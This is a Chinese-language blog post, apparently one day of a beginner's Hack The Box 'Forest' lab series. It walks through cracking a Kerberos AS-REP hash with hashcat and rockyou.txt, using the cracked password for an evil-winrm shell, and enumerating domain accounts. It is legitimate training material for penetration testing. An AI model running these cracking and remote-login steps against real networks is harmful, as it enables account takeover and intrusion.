以ls -l /usr/share/wordlists/,確認壓縮檔在不在
https://ithelp.ithome.com.tw/upload/images/20260929/201841890WEKVoZDBG.png

看到 rockyou.txt.gz,代表 rockyou.txt 目前是壓縮狀態,需要先解壓縮才能直接當 wordlist 使用。

sudo gunzip /usr/share/wordlists/rockyou.txt.gz
https://ithelp.ithome.com.tw/upload/images/20260929/20184189bEsoM8t3Uc.png

拆開來看:

  • sudo:用管理員權限執行,因為這個資料夾需要權限才能修改
  • gunzip:解壓縮工具,專門處理 .gz 格式的壓縮檔
  • /usr/share/wordlists/rockyou.txt.gz:要解壓縮的檔案路徑
    .gz 就像 .zip——rockyou.txt 本身很大,所以 Kali 預設是壓縮狀態放在那裡,要用之前先解壓縮就好。解壓縮完之後才會變成 rockyou.txt,hashcat 才讀得到。

再試一次

hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

拆解一下

  • hashcat:離線密碼破解工具
  • -m 18200:指定 hash 的格式,18200 對應的是 Kerberos AS-REP hash($krb5asrep$23$ 開頭的那種)
  • hash.txt:要破解的 hash 檔案——剛才存的那個
  • /usr/share/wordlists/rockyou.txt:字典檔,裡面有幾千萬個常見密碼,hashcat 會一個一個拿去試,看哪個跑出來的結果跟 hash 一樣
    https://ithelp.ithome.com.tw/upload/images/20260929/20184189Nlzaj332CF.png
    破解成功了!不過這個畫面是 hashcat 的狀態摘要,它不會直接把明文密碼印在這裡。

我們要看實際破出來的密碼,用 --show:

hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt --show

輸出會長這樣,冒號後面就是密碼:
https://ithelp.ithome.com.tw/upload/images/20260929/201841891Qkqzg1CGk.png

$krb5asrep$23$svc-alfresco@HTB.LOCAL:...:破出來的明文密碼
密碼是 s3rvice(成功!!!


**Step 6:evil-winrm 進 shell

evil-winrm 是一個登入工具——有了帳號密碼,用它連進 Windows 機器,就能拿到一個可以打指令的 shell,跟在那台機器上面操作一樣~

其實之前資安課程有用過 evil-winrm 進入不同服務,所以這個工具不算陌生——來試試看能不能進 Forest!

evil-winrm -i 10.129.95.210 -u svc-alfresco -p s3rvice
  • -i 10.129.95.210:目標機器的 IP——就是靶機的 IP
  • -u svc-alfresco:帳號名稱
  • -p s3rvice:剛才破解出來的密碼

https://ithelp.ithome.com.tw/upload/images/20260929/20184189J1G4z6tneJ.png


今天的重點:看使用者清單

進了 shell,跑:

net user /domain
  • net user:Windows 內建的帳號管理指令,可以查詢、新增、修改帳號
  • /domain:指定查詢整個 Domain 的帳號,不加的話只會查這台本機的帳號

https://ithelp.ithome.com.tw/upload/images/20260929/20184189PWdVZGE7L6.png

之前 enum4linux-ng 從外面已經列出帳號了,但那是匿名查詢。現在進了 shell,net user /domain 是用已驗證的帳號查,輸出格式不同。

這些帳號,在 AD 的語言裡每一個都是一個 Object(物件)——DC 管理的就是這些 Object 的資訊跟權限。所以 net user /domain 列出來的,就是 AD 架構圖最底層的那些 Object 全部活生生地出現在畫面上。

enum4linux-ng = 門外偷看,不用帳密但資訊有限
net user / PowerView = 進去裡面翻,需要帳密但看得更深

用 PowerShell 可以看到更多細節:

Get-ADUser -Filter * | Select Name, SamAccountName, Enabled

拆解一下~~

  • Get-ADUser:PowerShell 的 AD 模組指令,去 DC 查使用者帳號的資訊
  • -Filter *:* 是「全部」的意思——把所有帳號都列出來,不做任何過濾
  • |:把前面的結果傳給後面處理
  • Select Name, SamAccountName, Enabled:從全部的欄位裡,只挑這三個顯示
    • Name:帳號的顯示名稱(例如 svc-alfresco)
    • SamAccountName:登入用的帳號名稱(就是你輸入帳密時打的那個)
    • Enabled:這個帳號有沒有啟用(True / False)

https://ithelp.ithome.com.tw/upload/images/20260929/20184189CnRfY8ru3y.png
https://ithelp.ithome.com.tw/upload/images/20260929/20184189ug2iCRzNdS.png
https://ithelp.ithome.com.tw/upload/images/20260929/20184189urNZa9qxyn.png

比較一下兩個指令:

  • net user /domain:簡單列出帳號名稱
  • Get-ADUser:更詳細,可以看到帳號有沒有啟用(Enabled)

本日回顧

這是我第一次正式踏進 AD 的世界。
以前一直覺得 AD 很難、很複雜,完全沒碰過——沒想到因為鐵人賽,逼自己一定要突破。雖然進度緩慢,很多東西還是霧煞煞,但我相信不斷突破,一定會有所進步(一起加油!!!
今天算是把我們與AD之間的門打開了——進了AD shell,看到了使用者清單。但這只是開頭,就像第一天進公司,只拿到員工名單,知道「有誰」,但不知道「誰有什麼權限、誰是關鍵人物、怎麼從這裡走到最高權限」
那我們明天就一起深入這些帳號,搞清楚它們各自是什麼角色(說不定是我們喜歡的👀
那明天見囉!!!


上一篇
Day 14 — 兩週回顧 & SQL Injection 補強:搞懂 INFORMATION_SCHEMA,自己把資料撈出來
下一篇
Day 16 — 使用者、群組、服務帳號:誰有什麼權限?
系列文
《朝 HTB CPTS 前進:資安新手的 30 天實作筆記》 共 17 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言